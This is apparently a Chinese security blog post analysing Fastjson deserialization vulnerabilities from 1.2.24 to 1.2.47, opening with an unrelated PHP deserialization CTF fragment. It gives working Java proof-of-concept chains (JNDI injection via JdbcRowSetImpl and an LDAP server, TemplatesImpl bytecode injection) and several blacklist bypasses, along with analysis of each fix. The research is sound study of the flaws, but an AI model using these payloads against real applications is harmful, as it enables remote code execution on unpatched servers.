<h2 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h2><h3 id="serialize"><a href="#serialize" class="headerlink" title="serialize"></a>serialize</h3><p>index.php</p> <figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span>&#123;</span><br><span class="line"> <span class="keyword">public</span> $class;</span><br><span class="line"> <span class="keyword">public</span> $user;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line"> <span class="keyword">$this</span>-&gt;class = <span class="string">"safe"</span>;</span><br><span class="line"> <span class="keyword">$this</span>-&gt;user = <span class="string">"ctfer"</span>;</span><br><span class="line"> $context = <span class="keyword">new</span> <span class="keyword">$this</span>-&gt;class (<span class="keyword">$this</span>-&gt;user);</span><br><span class="line"> <span class="keyword">foreach</span>($context <span class="keyword">as</span> $f)&#123;</span><br><span class="line"> <span class="keyword">echo</span> $f;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line"> $context = <span class="keyword">new</span> <span class="keyword">$this</span>-&gt;class (<span class="keyword">$this</span>-&gt;user);</span><br><span class="line"> <span class="keyword">foreach</span>($context <span class="keyword">as</span> $f)&#123;</span><br><span class="line"> <span class="keyword">echo</span> $f;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">safe</span></span>&#123;</span><br><span class="line"> <span class="keyword">var</span> $user;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($user)</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line"> <span class="keyword">$this</span>-&gt;user = $user;</span><br><span class="line"> <span class="keyword">echo</span> (<span class="string">"hello "</span>.<span class="keyword">$this</span>-&gt;user);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'data'</span>]))&#123;</span><br><span class="line"> unserialize($_GET[<span class="string">'data'</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"> $demo=<span class="keyword">new</span> Demo;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
Fastjson Vulnerability https://jlkl.github.io/2021/10/29/Java_06/ 2021-10-29T09:50:37.000Z 2021-10-29T09:55:30.000Z Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

Fastjson组件

Fastjson使用包含如下几个核心函数

1
2
3
4
5
6
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

pom.xml

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

User.java

建立一个用户类,实现Setter和getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package demo;

public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
}

Main.java

调用com.alibaba.fastjson.JSON将JSON文本解析为对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
public static void main(String[] args) throws Exception{
//创建一个用于实验的user类
User user1 = new User();
user1.setName("Str3am");
user1.setAge(11);

//序列化
//SerializerFeature.WriteClassName 添加 @type,指定反序列化的类,也可以不用添加
String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
System.out.println("serializedStr="+serializedStr);

//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);

//通过parseObject,不指定类,返回的是一个JSONObject
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);

//通过parseObject,指定类后返回的是一个相应的类对象
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}

image-20210804194632670

Fastjson提供特殊字符段@type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。

  • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

三种反序列化函数除了返回结果不同之外,在执行过程的调用函数上也有不同。

从上面的例子我们可以看出,在对json字符串进行反序列化的时候,会调用对应类的setter和getter方法,不同函数的调用规则如下:

  • toJSONString() 会调用目标类的所有getter方法

  • parse(“”) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法

  • parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法

  • parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法

特定的setter方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

特定的getter方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

(我自己在测试的时候发现没有带@type标识符时,并不是按照这个规律,这里存疑)

因为这个特定的调用规则的原因,所以对于@type才不会调用其getter和setter方法。特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package demo;

import com.alibaba.fastjson.JSON;

import java.util.Hashtable;

public class Main {
public static void main(String[] args) throws Exception{
String json="{\"table\":{}}";
Foo foo=JSON.parseObject(json,Foo.class);
}
}

class Foo{
private Hashtable table;
public Hashtable getTable() {
System.out.println("getter");
return table;
}
}

image-20210804210555879

Hashtable继承了Map,所以在反序列化的时候会调用getTable方法

ver<=1.2.24

JdbcRowSetImpl

利用条件

JNDI注入利用链是最通用的方式,在以下三种情况都可以使用

1
2
3
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

漏洞复现

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
package demo;

import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) throws Exception{
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(json);
}
}

起一个ldap服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

ExecTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecTest implements ObjectFactory {
public ExecTest() {
}

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}

public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}

return "";
}

public static void main(String[] var0) {
exec("123");
}
}

编译后(编译使用的是jdk1.8.0_251,运行环境是在jdk1.8.0_161,这样测试也是可以jndi注入的)在8090端口起一个web服务

image-20211011200843637

漏洞分析

JdbcRowSetImpl把JNDI注入衍生到了

1
2
3
4
5
6
7
8
9
10
import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

那么只需要调用这两个set方法,这两个函数接口

1
2
public void setDataSourceName(String var1) throws SQLException
public void setAutoCommit(boolean var1)throws SQLException

可以看到是满足特殊setter的条件的

TemplatesImpl

利用条件

需要以下格式

1
2
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JSON.parse(text1,Feature.SupportNonPublicField)

这是因为POC中有一些private属性,而且TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField参数

漏洞复现

JDK1.7_21

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\""+ TemplatesImpl.class.getName()+"\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

JSON.parse(poc, Feature.SupportNonPublicField);
}
}

image-20211012202528192

漏洞分析

Jdk7u21后面是调用到了TemplatesImpl.getOutputProperties(),函数原型

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

Properties继承自Hashtables,实现了Map,符合特殊getter的条件

Jdk7u21的TemplatesImple类需要满足如下条件

  1. TemplatesImpl类的 _name 变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的 _bytecodes 变量 != null
  4. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  5. 我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
  6. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类

对比上面那个poc就会有以下几个问题

_tfactory为什么为空?

当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例,应有的格式即变量在源码中的定义

1
2
3
4
5
/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;

_bytecodes需要base64编码?

FastJson提取byte[]数组字段值时会进行Base64解码

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

image-20211014195506705

com.alibaba.fastjson.parser.JSONScanner#bytesValue

image-20211014195553211

_outputProperties

FastJson对变量赋值的逻辑在parseField中实现

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

image-20211014195925620

key即为传入的属性名,经过了smartMatch处理

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

会替换掉字段key中的_-,所以删除POC里的_或者添加-都是可以的

漏洞修复checkAutoType

在1.2.25版本之后,autotype功能受到了限制,autotype默认是关闭的,这时采用白名单判断反序列化的类名,可以手动添加白名单列表。手动开启autotype之后,使用黑名单方式来判断,同样黑名单也可以自定义。配置详情可以参考官网wiki:

https://github.com/alibaba/fastjson/wiki/enable_autotype

当autotype关闭的时候,这里以1.2.25版本为例

image-20211015170344364

可以看到1.2.24版本再遇到@type标记的时候,会直接加载指定的类,1.2.25版本则会先进入checkAutoType函数进行判断

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

//一些固定类型的判断,此处不会对clazz进行赋值,此处省略

if (!autoTypeSupport) {
//进行黑名单匹配,匹配中,直接报错退出
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

//此处省略了当clazz不为null时的处理情况,与expectClass有关
//但是我们这里输入固定是null,不执行此处代码

//可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
//执行不到此处
return clazz;
}

当默认关闭autotype时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载

看下默认的黑名单和白名单(白名单为空,最下面)

image-20211015172816830

com.sun,上面两条路都被堵死了。因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。

1.2.25<=ver<=1.2.41

漏洞复现

需要手动开启autotype

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
</dependencies>

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

开启auto后checkAutoType的逻辑判断

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
//同样会进行白名单检测
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
//黑名单检测
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

...
//其他一些逻辑和autotype关闭的逻辑

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

...
}
}
}

同样会先进行黑白名单检测,如果都不满足,开启autotype后会进入TypeUtils.loadClass尝试读取类,跟进loadClass逻辑

image-20211020161303194

可以看到,当className以L开头并以;时,会直接去掉L;,然后加载。这是由于历史原因,X.class.getName 方法在应用于数组类型时会返回奇怪的名字,这也是对特征的兼容。

image-20211020161605568

那么我们可以在想要反序列化的类名加上L开头,;结尾,来绕过黑名单的检测。

添加[也可以,不过这是1.2.43版本的绕过方式了。

漏洞修复

1.2.42版本checkAutoType逻辑和之前差不多,只是黑白名单判断这里采用hash去替代startwith。为了防范1.2.41版本的绕过,这里开头直接删除掉了L和结尾的;(如果类名存包含的话)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
//对L 和 ; 处理,直接删除
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
//白名单,黑名单判断,换成了hash判断
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

这里采用hash的方式去验证黑白名单,那么我们理论上可以遍历所有的jar包,计算出对应的类名,github上有一个项目已经完成了这个事情。

1.2.42

漏洞复现

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
</dependencies>

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

上面提到了1.2.42版本checkAutoType函数会先去除掉开头的L和结尾的;,但是TypeUtils.loadClass处理逻辑依然会处理掉L;,那么直接双写L;就可以绕过

漏洞修复

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

image-20211021170546752

双写可以绕过,直接检测是否以LL开头,简单粗暴

1.2.43

漏洞复现

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

使用这个payload

1
2
3
4
5
6
7
String poc="{\n" +
"\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

提示逗号前需要[

image-20211021194044379

又提示在加入的[后需要一个{,加上即可,这里涉及fastjson具体解析字符串的过程,就不再深入分析。

image-20211021194138796

漏洞修复

com.alibaba.fastjson.parser#checkAutoType

直接过滤掉[;结尾的类

image-20211021194804574

1.2.47

1.2.46~1.2.46版本主要是黑名单的添加,然后到1.2.47版本出现了通杀的payload

漏洞复现

jdk1.8.0_161

我本地测试,开不开启autotype都是可以成功的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

// String poc="{\n" +
// "\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,\n" +
// "\"_bytecodes\":[\""+evilCode+"\"],\n" +
// "\"_name\":\"xx\",\n" +
// "\"_tfactory\":{ },\n" +
// "\"_outputProperties\":{ }\n" +
// "}";
String poc="[\n" +
" {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
" }, \n" +
" {\n" +
" \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \n" +
" \"_bytecodes\":[\""+evilCode+"\"],\n" +
" \"_name\":\"xx\",\n" +
" \"_tfactory\":{ },\n" +
" \"_outputProperties\":{ }\n" +
" }\n" +
"]";

System.out.println(poc);

// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

从parseObject开始分析

com.alibaba.fastjson.parser#parseObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public final Object parseObject(Map object, Object fieldName) {
...
//checkAutoType检测
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
typeName = lexer.scanSymbol(this.symbolTable, '"');
if (!lexer.isEnabled(Feature.IgnoreAutoType)) {
strValue = null;
Class clazz;
if (object != null && object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures());
}
...
//deserializer.deserialze加载
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
...
}

第一层payload java.lang.Class不在黑名单内,比较特殊的是这个类类对应的deserializer为MiscCodec

com.alibaba.fastjson.serializer#deserialze

前面为格式检测,这里会检测@type后面一个键是否为val,然后将其值赋予strVal

image-20211022201413150

image-20211022201524635

这里clazz == Class.class满足,进入TypeUtils.loadClass,然后可以看到默认调用的话,第三个参数是为true

image-20211022201613312

com.alibaba.fastjson.util#loadClass

classLoader.loadClass加载com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类后放入缓存的mapping里面

image-20211022201847799

